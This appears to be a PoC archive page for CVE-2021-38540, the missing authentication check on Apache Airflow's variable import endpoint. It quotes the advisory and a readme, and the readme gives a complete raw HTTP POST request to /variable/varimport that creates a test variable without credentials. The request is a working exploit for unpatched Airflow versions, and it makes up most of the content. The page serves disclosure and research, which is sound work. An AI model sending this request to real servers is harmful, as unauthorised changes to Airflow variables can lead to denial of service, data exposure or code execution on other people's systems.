Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2021-38540 PoC — Apache Airflow: Variable Import endpoint missed authentication check

Source
Associated Vulnerability
Title: Apache Airflow: Variable Import endpoint missed authentication check (CVE-2021-38540)
Description:The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow >=2.0.0, <2.1.3.
Description
Missing Authentication on Critical component CVE-2021-38540
Readme
# CVE-2021-38540 Proof of Concept
Missing Authentication on Critical component Known as CVE-2021-38540

# About this bug:

The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow >=2.0.0, <2.1.3. [CVE-2021-38540]

# About this PoC:

This POC contains a request that will create a Variable named: kafka_captainhook_user under Admin>variables [ List Variables ]

# PoC Source:

```HTTP
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"

 
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json

{
    "kafka_captainhook_user": "testCaptain"
}

-----------------------------33976360506209910502051128075--
```
# Refrences

https://nvd.nist.gov/vuln/detail/CVE-2021-38540
https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →